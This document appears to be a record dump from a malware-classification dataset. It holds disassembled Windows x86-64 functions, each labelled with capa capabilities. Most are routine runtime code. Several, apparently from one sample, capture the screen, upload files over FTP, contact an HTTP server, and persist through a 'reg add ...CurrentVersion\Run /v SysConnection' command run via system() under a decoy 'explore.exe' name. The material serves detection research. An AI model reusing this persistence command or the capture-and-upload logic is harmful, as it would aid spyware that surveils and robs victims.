joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009b680
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14009b6b0
xor eax, eax
jmp 0x14009b773
mov rbp, rbx
cmp word [rax], si
je 0x14009b6d5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14009b6bc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14009b6b8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14009b5a0
movsxd r14, eax
test eax, eax
jne 0x14009b713
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14009b6a9
mov rcx, r14
call fcn.140046a50
mov rdi, rax
test rax, rax
jne 0x14009b72c
xor ecx, ecx
call fcn.140073750
jmp 0x14009b708
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14009b5a0
test eax, eax
jne 0x14009b75d
mov rcx, rdi
call fcn.140073750
jmp 0x14009b767
xor ecx, ecx
call fcn.140073750
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14009b790
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14009b817
mov rsi, rbx
cmp word [rax], bp
je 0x14009b7d6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14009b7c0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14009b7bc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140046a50
mov rdi, rax
test rax, rax
je 0x14009b804
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140078520
mov rbp, rdi
xor ecx, ecx
call fcn.140073750
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14009ef4c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14009ef62
mov al, 1
jmp 0x14009efc2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14009ef73
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14009efc0
mov ecx, dword [rcx + 0x18]
nop
call fcn.140087dec
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14009efc0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14009efc0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14009efc0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14009efc2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400a1d50
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14007f638
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400a1dda
cmp byte [rbp - 0x21], r15b
je 0x1400a1dd5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400a1e10
call fcn.1400945f4
test eax, eax
jne 0x1400a1dfc
cmp byte [rbp - 0x21], r15b
je 0x1400a1df4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400a1e10
cmp byte [rbp - 0x21], r15b
je 0x1400a1e0d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140084c4c
test eax, eax
jne 0x1400a1eb0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14007f638
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400a1e4f
cmp byte [rbp - 0x21], r15b
je 0x1400a1e84
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400a1e84
call fcn.1400945f4
test eax, eax
jne 0x1400a1e70
cmp byte [rbp - 0x21], r15b
je 0x1400a1e69
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400a1e84
cmp byte [rbp - 0x21], r15b
je 0x1400a1e81
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140084c4c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400a1eb0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400a1eb3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400a1ec1
mov rcx, rdi
call fcn.140073750
cmp byte [rbp + 0x3f], r15b
je 0x1400a1ed0
mov rcx, qword [rbp + 0x27]
call fcn.140073750
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400a3800
Capabilities:
Get common file path

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x250
mov rax, qword [0x1400c9028]
xor rax, rsp
mov qword [rsp + 0x248], rax
mov sil, 1
cmp qword [0x1400e12f0], 0
je 0x1400a3846
mov rcx, qword [rsp + 0x248]
xor rcx, rsp
call fcn.140076ac0
mov eax, esi
add rsp, 0x250
pop rbx
pop rdi
pop rsi
ret
mov rdi, qword [0x1400e12c8]
test rdi, rdi
je 0x1400a38e7
test byte [0x1400d85a8], 1
je 0x1400a3829
cmp byte [rdi + 0x17], 0
jns 0x1400a3868
mov rdi, qword [rdi]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov rcx, rdi
mov edx, 4
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1400e12f0], rax
inc rax
cmp rax, 1
ja 0x1400a3829
lea rdi, [rsp + 0x40]
mov r8d, 0x208
mov rcx, rdi
mov dl, 0xaa
call fcn.140078bd0
mov word [rdi], 0
mov ecx, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add eax, 0xfffffefb
cmp eax, 0xfffffefc
jae 0x1400a39ab
xor esi, esi
jmp 0x1400a3829
mov ecx, 0x18
call fcn.140075768
mov rdi, rax
lea rbx, [rsp + 0x40]
mov r8d, 0x208
mov rcx, rbx
mov dl, 0xaa
call fcn.140078bd0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movaps xmm0, xmmword [0x1400b3900]
movups xmmword [rdi], xmm0
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rdi + 0x10], rax
mov rcx, rdi
mov rdx, rbx
call fcn.14001b370
movzx eax, byte [rdi + 0x17]
mov rcx, rdi
test al, al
jns 0x1400a394f
mov rax, qword [rdi + 8]
mov rcx, qword [rdi]
test rax, rax
je 0x1400a398a
lea r8, [rax + rax]
test r8, r8
je 0x1400a398a
lea rdx, [r8 - 2]
cmp word [rcx + r8 - 2], 0x5c
mov r8, rdx
jne 0x1400a3958
cmp rdx, 0xfffffffffffffffe
je 0x1400a398a
sar rdx, 1
cmp rax, rdx
jbe 0x1400a3a72
inc rdx
mov rcx, rdi
call fcn.14005e8a0
lea rdx, [0x1400b8d30]
mov r8d, 9
mov rcx, rdi
call fcn.1400450f0
mov qword [0x1400e12c8], rdi
jmp 0x1400a3856
mov rdi, qword [0x1400e12c8]
lea rbx, [rsp + 0x40]
mov rcx, rbx
call fcn.14008fc70
mov rcx, rdi
mov rdx, rbx
mov r8, rax
call fcn.140044ff0
mov rcx, qword [0x1400e12c8]
call fcn.14005e840
cmp word [rax], 0x5c
je 0x1400a39f8
mov rcx, qword [0x1400e12c8]
lea rdx, [0x1400b8d2c]
mov r8d, 1
call fcn.1400450f0
mov rcx, qword [0x1400e12c8]
lea rdx, [0x1400b8d30]
mov r8d, 9
call fcn.1400450f0
mov rcx, qword [0x1400e12c8]
cmp byte [rcx + 0x17], 0
jns 0x1400a3a21
mov rcx, qword [rcx]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 4
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1400e12f0], rax
inc rax
cmp rax, 1
ja 0x1400a3829
mov qword [0x1400e12f0], 0
jmp 0x1400a38e0
mov rcx, rdi
call fcn.14001bd70
int3
Function at 0x14002943c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001cb04
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001cb04
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002958c
cmp rax, 0xffffffffffffffff
je 0x14002958c
xor edi, edi
test rbp, rbp
jle 0x140029537
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f430
mov rbx, rax
test rax, rax
jne 0x1400294c4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002952d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a438
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d7e0
cmp eax, 0xffffffff
je 0x14002950d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400294d4
mov edx, r15d
mov ecx, r14d
call fcn.14001a438
jmp 0x14002952d
cmp byte [rsi + 0x38], dil
je 0x140029524
cmp dword [rsi + 0x34], 5
jne 0x140029524
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002952d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b1cc
jmp 0x1400295a0
jns 0x1400295a0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001cb04
cmp rax, 0xffffffffffffffff
jne 0x140029558
cmp byte [rsi + 0x30], dil
je 0x1400295a0
mov edi, dword [rsi + 0x2c]
jmp 0x1400295a0
mov ecx, r14d
call fcn.1400188f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400295a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400295a0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029599
mov eax, dword [rsi + 0x2c]
jmp 0x14002959e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001cb04
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140f55000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x140f5500a
jmp 0x140f5700f
jmp fcn.140c0c058
Function at 0x140019249
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400425b0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140070525]
call fcn.14001a5b3
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140042607
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140042713
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x1400426ac
cmp qword [rbp + 0x28], 0
jle 0x1400426ac
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14004264c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.14001a455
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x140042702
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140042702
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400193a7
Capabilities:
Capture screenshot

Disassembly:
jmp 0x14003b9d0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x300
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x78
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x328]
mov rax, qword [0x140063048]
xor rax, rbp
mov qword [rbp + 0x298], rax
lea rcx, [0x140070554]
call fcn.14001a5b3
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov qword [rbp + 0x28], rax
mov edx, 3
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_SetStretchBltMode]
mov dword [rbp + 0x44], 1
mov ecx, 0x4c
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x64], eax
mov ecx, 0x4d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x84], eax
mov ecx, 0x4e
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0xa4], eax
mov ecx, 0x4f
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0xc4], eax
mov r8d, dword [rbp + 0xc4]
mov edx, dword [rbp + 0xa4]
mov rcx, qword [rbp + 8]
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov qword [rbp + 0xe8], rax
mov r8d, dword [rbp + 0xc4]
mov edx, dword [rbp + 0xa4]
lea rcx, [rbp + 0x268]
call fcn.14001989d
lea rcx, [rbp + 0x108]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_SelectObject]
movzx eax, word [rbp + 0x116]
mov ecx, dword [rbp + 0xa4]
imul ecx, eax
mov eax, ecx
add eax, 0x1f
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
shl eax, 2
imul eax, dword [rbp + 0xc4]
mov dword [rbp + 0x144], eax
mov eax, dword [rbp + 0x144]
mov edx, eax
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rbp + 0x168], rax
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rbp + 0x188], rax
mov dword [rsp + 0x50], 0xcc0020
mov eax, dword [rbp + 0xc4]
mov dword [rsp + 0x48], eax
mov eax, dword [rbp + 0xa4]
mov dword [rsp + 0x40], eax
mov eax, dword [rbp + 0x84]
mov dword [rsp + 0x38], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp + 8]
mov qword [rsp + 0x28], rax
mov eax, dword [rbp + 0xc4]
mov dword [rsp + 0x20], eax
mov r9d, dword [rbp + 0xa4]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_StretchBlt]
mov dword [rsp + 0x30], 0
lea rax, [rbp + 0x108]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x188]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0xc4]
xor r8d, r8d
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_GetDIBits]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rax, qword [rbp + 0xe8]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140056ef0]
call fcn.14001a1f3
mov rax, rdi
mov rcx, qword [rbp + 0x298]
xor rcx, rbp
call fcn.140019a8c
lea rsp, [rbp + 0x2a0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140019492
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
jmp 0x14002ebc0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x788
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x14a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7a8]
mov rax, qword [0x140063048]
xor rax, rbp
mov qword [rbp + 0x750], rax
lea rcx, [0x1400703f2]
call fcn.14001a5b3
lea rdx, [0x140055580]
lea rcx, [rbp + 8]
call fcn.1400199dd
nop
mov r8d, 0x104
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rbp + 0x274], eax
lea rcx, [rbp + 0x298]
call fcn.14001a581
nop
xor r8d, r8d
lea rdx, str.explore.exe
lea rcx, [rbp + 0x578]
call fcn.14001a15d
nop
mov rax, qword [rbp + 0x780]
add rax, 0x128
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x5b8]
call fcn.14001a144
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0x730], rax
lea r8, [rbp + 0x578]
mov rdx, qword [rbp + 0x730]
lea rcx, [rbp + 0x5f8]
call fcn.14001a3a6
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x748], rax
lea rdx, [rbp + 0x2d8]
mov rcx, qword [rbp + 0x748]
call fcn.14001a7ac
nop
lea rcx, [rbp + 0x5f8]
call fcn.14001a3d3
nop
lea rcx, [rbp + 0x5b8]
call fcn.14001a3d3
nop
lea rcx, [rbp + 0x578]
call fcn.14001a3d3
mov dword [rbp + 0x314], 0
jmp 0x14002ed1b
mov eax, dword [rbp + 0x314]
inc eax
mov dword [rbp + 0x314], eax
mov eax, dword [rbp + 0x274]
cmp dword [rbp + 0x314], eax
jge 0x14002ed43
movsxd rax, dword [rbp + 0x314]
movzx edx, byte [rbp + rax*2 + 0x50]
lea rcx, [rbp + 0x298]
call fcn.140019b7c
jmp 0x14002ed0d
xor r8d, r8d
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x638]
call fcn.14001a144
nop
xor r8d, r8d
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x678]
call fcn.14001a144
nop
lea rdx, [rbp + 0x638]
lea rcx, [rbp + 0x678]
call fcn.14001a35b
nop
lea rcx, [rbp + 0x678]
call fcn.14001a3d3
nop
lea rcx, [rbp + 0x638]
call fcn.14001a3d3
lea r8, [rbp + 0x2d8]
lea rdx, str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__v_SysConnection___t_REG_SZ__d__
lea rcx, [rbp + 0x6b8]
call fcn.1400190e6
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0x730], rax
lea r8, [0x140055b50]
mov rdx, qword [rbp + 0x730]
lea rcx, [rbp + 0x6f8]
call fcn.14001a3e2
mov qword [rbp + 0x738], rax
mov rcx, qword [rbp + 0x738]
call fcn.140019230
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0x6f8]
call fcn.140019415
nop
lea rcx, [rbp + 0x6b8]
call fcn.140019415
nop
lea rcx, [rbp + 0x2d8]
call fcn.140019415
nop
lea rcx, [rbp + 0x298]
call fcn.140019415
nop
lea rcx, [rbp + 8]
call fcn.140019415
lea rcx, [rbp - 0x20]
lea rdx, [0x1400549c0]
call fcn.14001a1f3
mov rcx, qword [rbp + 0x750]
xor rcx, rbp
call fcn.140019a8c
lea rsp, [rbp + 0x768]
pop rdi
pop rbp
ret
Function at 0x140019933
Capabilities:
Send file using ftp

Disassembly:
jmp 0x140021210
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x30]
lea rcx, [0x140070128]
call fcn.14001a5b3
mov rcx, qword [rbp + 0x120]
call fcn.140019230
mov qword [rbp + 0xd8], rax
mov rcx, qword [rbp + 0x118]
call fcn.140019230
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0x110]
mov rax, qword [rax + 0x80]
mov qword [rbp + 0xe8], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
mov r8, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.WININET.dll_FtpPutFileA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400212b0
mov byte [rbp + 0xd4], 1
jmp 0x1400212b7
mov byte [rbp + 0xd4], 0
movzx eax, byte [rbp + 0xd4]
lea rsp, [rbp + 0xf8]
pop rdi
pop rbp
ret

Function at 0x140019c67
Capabilities:
Terminate process

Disassembly:
jmp 0x1400487d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140019e3d
Capabilities:
Get geographical location

Disassembly:
jmp 0x140042990
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x1400429cd
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.14001a590
add rsp, 0x58
ret

Function at 0x140019f2d
Capabilities:
Parse pe header

Disassembly:
jmp 0x140049300
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140049320
xor al, al
jmp 0x1400493a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140049333
xor al, al
jmp 0x1400493a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14004935d
xor al, al
jmp 0x1400493a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140049371
xor al, al
jmp 0x1400493a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140049383
xor al, al
jmp 0x1400493a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14004939f
xor al, al
jmp 0x1400493a1
mov al, 1
add rsp, 0x38
ret
Function at 0x14001a27f
Capabilities:
Create directory

Disassembly:
jmp 0x140044050
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x140063048]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14004408d
mov byte [rsp + 0x24], 1
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x24]
jmp 0x140044102
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xb7
jne 0x1400440f0
mov edx, 1
mov ecx, 2
call fcn.1400190be
mov r9d, 0xffffffff
mov r8d, eax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x70]
call fcn.140019654
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x1400440f0
mov edx, 0x10
mov ecx, dword [rsp + 0x48]
call fcn.1400192bc
movzx eax, al
test eax, eax
jne 0x1400440f0
mov dword [rsp + 0x20], 0xb7
mov byte [rsp + 0x2c], 0
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x2c]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140019a8c
add rsp, 0x68
ret
Function at 0x14001a414
Capabilities:
Connect to http server
Create http request

Disassembly:
jmp 0x140020b30
